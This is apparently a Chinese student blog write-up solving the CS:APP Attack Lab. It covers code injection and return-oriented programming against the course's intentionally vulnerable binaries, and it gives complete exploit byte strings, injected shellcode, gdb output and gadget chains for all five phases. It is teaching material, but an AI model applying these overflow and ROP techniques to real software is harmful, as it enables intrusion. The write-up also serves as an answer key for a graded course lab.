Attacklab
实验包的下载不再多说,这个实验分为两个部分代码注入和 ROP 攻击。
第一部分
- Phase 1:根据文档的说明,test 会调用 getbuf 开辟一个在栈上的缓冲区,我们要做的使用通过向 getbuf 的返回地址写入 touch1 的地址以达到调用 touch1 的目的,使用 objdump -d 可以获得 file 的代码偏移量。
void test() { int val; val = getbuf(); printf("NO explit. Getbuf returned 0x%x\n", val); }
得到 getbuf 的反汇编的源码:
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp ... 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt> ... 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx
可见这个函数开辟了 0x28(40) 字节的空间。
rsp + 0x28 起始的位置就是我们通过溢出写入的 touch1 的返回地址(可知是 0x4017c0),我们可以构造字符串:
rsp + 0x0 00 00 00 00 00 00 00 00 00 00 rsp + 0xa 00 00 00 00 00 00 00 00 00 00 rsp + 0x14 00 00 00 00 00 00 00 00 00 00 rsp + 0x1e 00 00 00 00 00 00 00 00 00 00 rsp + 0x28 c0 17 40 00
注意在 Linux 64位的情况下指针是 64位,同时注意字节的顺序,根据反汇编的得到的代码可知机器是小端序。低位在低地址。
使用 cat ./p1.txt | ./hex2raw | ./ctarget -q
在本地运行测试程序,可得到结果:
- Phase 2:
void touch2(unsigned val) { vlevel = 2; / * Part of validation protocol * / if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
在这个阶段,我们需要传递参数给 touch2 一个参数(第一个参数的寄存器是 rdi),我们只需要直接把类似于 cookie 的指针 mov 到 rdi 即可。那怎么通过某种机制执行呢?首先我们可以构造一段自己的代码并注入进去。
movq $0x59b997fa, %rdi pushq $0x4017ec //touch2 的地址 ret // pop %rip,更新程序计数
通过这个段代码,我们可以把 cookie 的地址(程序已经给出)送入 rdi,同时执行 touch2 函数正确地比较。把汇编代码编译成可重定位地代码:gcc -c p2.s -o p2.o
已经反汇编得到机器码:objdump -d p2.o
。输出如下:
p2.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c3
依次构建字符串:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 // 一定注意是64位
- Phase 3:这次的 touch3 需要传递一个字符串参数同时字符串地比较在 hexmatch 函数中:
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
这就引入了一些问题:1)cookie 需要通过字符串进行传递而不是指针。2)调用 hexmatch 会破坏构造好的输入地字符串。所以针对地方法:
- cookie 的地址是 0x59b997fa,转换成字符串的表示(每十六进制数码的 ASCII 值)35 39 62 39 39 37 66 61 00。35 存在的位置存放字符串的最低位的字符。不要忘记 NULL 字符用于节尾。
- 确定哪一个位置不会被覆盖,看到 hexmatch 的反汇编代码:
000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d ... <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f9: c3 retq
hexmatch 的调用并不修改 rsp + 0x28 以上的内容。所以字符串起始位置可以是:rsp + 0x28 + 0x8(覆盖缓存地址)。这个时候需要用 gdb 获取 rsp 的地址(运行的时候使用 Phase2 的结果就可以)
(gdb) break getbuf Breakpoint 1, getbuf () at buf.c:12 12 in buf.c (gdb) disas Dump of assembler code for function getbuf: => 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: callq 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: retq End of assembler dump. (gdb) si 14 in buf.c (gdb) disas Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp => 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: callq 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: retq End of assembler dump. (gdb) info regesters Undefined info command: "regesters". Try "help info". (gdb) info regs Undefined info command: "regs". Try "help info". (gdb) info registers rax 0x0 0 rbx 0x55586000 1431855104 rcx 0x0 0 rdx 0x7ffff7dd18a0 140737351850144 rsi 0xc 12 rdi 0x606260 6316640 rbp 0x55685fe8 0x55685fe8 rsp 0x5561dc78 0x5561dc78 r8 0x7ffff7fdf500 140737354003712 r9 0x0 0 r10 0x4032b4 4207284 r11 0x7ffff7b74720 140737349371680 r12 0x2 2 r13 0x0 0 r14 0x0 0 r15 0x0 0 rip 0x4017ac 0x4017ac <getbuf+4> eflags 0x216 [ PF AF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb)
由此可以指 rsp 的地址是 0x5561dc78
, 存入字符串的地址就是 0x5561dca8。构造字符串转换为机器码:
movq $0x5561dca8, %rdi pushq $0x4018fa ret // 机器码: Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi // 存入 cookie 的地址 7: 68 fa 18 40 00 pushq $0x4018fa // touch3 的地址 c: c3 retq
从 rsp + 0x28 + 0x8 的地址就按照顺序贴入 cookie 转换为 ASCII 码的值。这就可以构造字符串:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
结果:
第二部分:
第二部分引入了:
- NX(不执行位),栈的数据可以被标记为可读和科写但是不执行。
- 使用地址空间随机化的计数(ASLR),每次运行程序的不同部分,包括程序代码、库代码、栈、全局变量和堆数据都会改变。
利用 ROP,只需要修改栈顶的返回地址并利用已经存在的机器指令组合成的针对性的机器语言指令序列(gadgets)就可以达到控制程序的流程。例如:
void setval_210(unsigned *p){ *p = 3347663060U; } // 得到的机器代码: 0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
实验文档给出了汇编的机器指令说明:
- nop。注意普通的 nop 编码位 0x90:
- movl(传送双字)。
- movq。
- popq。
由此可知:c7 07 d4 48 89 c7 c3。加粗的部分可以认为是 movq %rax, %rdi
。构造 gadgets 的流程:
现在开始实验:
- Phase 4:
要求 | Hint |
---|---|
只使用 %rax -%rdi 寄存器,已经指令:movq ,popq ,ret 和 nop 。 调用 touch2 函数 |
只有两个 gadgets。使用的机器码介于 start_farm 和 mid_farm 。When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.(我个人理解一次 gadget 可以把栈顶的数据弹出到 %rax 中。) |
大概的步骤:
- 把
cookie
存入%rdi
中 touch2
的地址压入栈中ret
执行
1)首先希望找到 popq %rdi
也就是 5f
,然而并没有。所以可以借助 %rax
作为中转。使用 popq %rax
和 movq %rax, %rdi
。也就是 58 48 89 c7
。有几个候选:
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 retq 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 retq // 48 89 c7 c3 的候选: 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq
可以看出利用 addval_219
中自带的 58
,然后跳转到含有 48 89 c7
以及 c3
。同理,可以选择 addval_273
。
由此可以得出我们的 gadgets:
gadget1 : 0x4019a7(addval_219) + 0x4 = 0x4019ab(后面的 0x90 是 nop,可以忽略)
gadget2 : 0x4019a0 + 0x3 = 0x4019a3。
我们已经知道 touch2 的地址:0x4017ec。我们需要查看 getbuf 分配的栈帧大小。
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp
还是分配了 0x28(40)字节的空间。我们不能预先知道返回的地址是多少是多少,但是可以利用 gadgets 达到在 %rsp
中执行。栈帧的结构是不会变化的。
%rsp
需要输入以下的内容:
%rsp + 0x28
字节的填充物 + gadget1 的地址(控制流程) + cookie
的地址(0x59b997fa
, popq %rax
时需要)+ gadget2 的地址 + touch2 的地址(0x4017ec)也就是(注意64位):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a3 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
运行结果:
- Phase 5:
要求 | Hint |
---|---|
调用touch3 函数 |
标准答案有 8 个 gadgets。使用的机器码介于 start_farm 和 end_farm 。 |
注意 Phase5 没有说会把字符串传送到 %eax
。cookie
字符串的起始地址的 ASCII 保存在最后一个 gadget 的后面。我们需要把 cookie 的 ASCII 形式传送到 %rdi
,也就是需要指令 movq %rsp(rsp 已经被修改了), %rdi
,也就是机器码:48 89 e7
。但是并没有。所以这样子是不行的,我参考了别人的思路:
1.拿到
%rsp
存着的地址
2.(然后把这个地址) + (
cookie
在 stack 偏移量)pop
到某个寄存器中
3.然后把这个寄存器的值放到
%rdi
中
4.然后调用
touch3
5.
cookie
要放到 stack 最后面
6.字符串最后加上
\0
也就是 00000000 来标志结束
1)首先取出 %rsp
,传送到 %rdi
,和 Phase4 一样,没有直接传送的指令,所以需要借助 %rax
。
movq %rsp, %rax : 48 89 e0 0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3
0x90
是 nop
,这个我们不管。
2)找 movq %rax, %rdi
的机器码:48 89 c7
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq
3)在上一次 gadget 调用之后,%rsp
的内容被弹出到 %rax
做为返回值。所以我们需要算出 %rsp + offset
正好是字符串的起始地址,这个 offset
要看后面有多少的语句,所以暂且留下,所以这个 offset
应该是前两个 gadgets 栈帧结束后填充的内容。
4)需要把 offset
pop 到 %rax
中,pop %rax
上午机器码: 58
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
5)计算偏移需要两个寄存器,已知 rdi
已经被钦定为比例变址寻址的基址寄存器,所以要找一个变址寄存器。考虑 movq %rax, <某个寄存器>
,也就是以 48 89 xx
,但是反汇编中只有 48 89 c7 c7
以及 48 89 e0
等,是不能作为 gadget 的。所以考虑 movl
,但是注意 movl
会把目的寄存器(双字)的高 4字节设置为 0。需要一个 movl %eax(保存的 offset), <某个寄存器>
。89 cx
(c7 不行,因为目标 %edi
),在这里钦定:
00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 retq
目标的寄存器是:%edx
6)需要找到 lea
计算偏移,找到了可用 lea
(使用了寄存器,目标是 %eax
,这样让 %rdi
指向它)
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
所以在此之前,需要把 edx
的数据移到 %esi
。按照之前的找法,89 dx
,只有一个 那就是 d1
可以匹配,所以中转的是 %ecx
。
0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 retq
由于 38 c9
是 Encodings of 2-byte functional nop instructions
,所以可以不用管。
还有就是 movl %ecx, %esi
的机器码:89 ce
:
0000000000401a11 <addval_436>: 401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax 401a17: c3 retq
lea
直接使用现成的。
7)%rax
指向 touch3
的第一个参数存放的寄存器 %rdi
movq %rax, %rdi:48 89 c7 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq
8)接着存放 touch3
地址
9)存放 cookie
起始的 ASCII
10) 计算 offset
:
综合 1~9 的结果:
栈顶:
栈 | 地址 | 意义或内容 |
---|---|---|
0x28 字节的填充 | %rsp + 0x0 ~ %rsp + 0x28 |
填充 |
gadget1 | 0x401aab + 0x2 = 0x401aad` | movq %rsp, %rax |
gadget2 | 0x4019a0 + 0x2 = 0x4019a2 | movq %rax, %rdi |
gadget3 | 0x4019a7 + 0x4 = 0x4019ab | popq %rax |
offset | gadget3 上方 | 偏移,由于地址随机只能通过 %rsp + offset 计算 cookie 的起始位置 |
gadget4 | 0x4019db + 0x2 = 0x4019dd | movl %eax, %edx |
gadget5 | 0x401a33 + 0x1 = 0x401a34 | movl %edx, %ecx |
gadget6 | 0x401a11 + 0x2 = 0x401a13 | movl %ecx, %esi |
gadget7 | 0x4019d6 | lea (%rdi, %rsi, 1), %rax |
gadget8 | 0x4019a0 + 0x2 = 0x4019a2 | movq %rax, %rdi |
touch3 地址 | 0x4018fa | 调用 touch3 函数 |
cookie | touch3 上方 | 起始位置地址的 ASCII:35 39 62 39 39 37 66 61 00 |
栈底
cookie
的起始位置是栈顶 + 10 指令的位置,注意在执行的时候 0x28
个字符串已经被读入并且执行了 retq
转移到了 gadget1,所以当第一个 gadget 调用的时候,cookie 相比之前“更近”了一条和指令。也就是 +9。所以偏移量 offset
= 9 * 8 = 72 = 0x48 字节。
构造字符串:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
运行结果:
总结
- 这次复习了一下 CSAPP 的第三章,注意到了函数调用与栈之间的关系
- 小端表示以及字符串在内存的方式与看上去的不同!
引用&参考
- (Wikipedia)缓冲区溢出攻击
- (W3cSchool)字符串
- (不周山)CSAPP AttackLab 实验
- (STAR 皆空)CSAPP AttackLab 实验
- (cnblogs)CS:APP3e 深入理解计算机系统_3e Attacklab 实验
- (Wikipedia)返回导向编程(ROP)
- (CSAPP)实验文档
- Randal E.Bryant 等,深入理解计算机系统(第三版)[M]. 北京:机械工业出版社,2016:198-201,120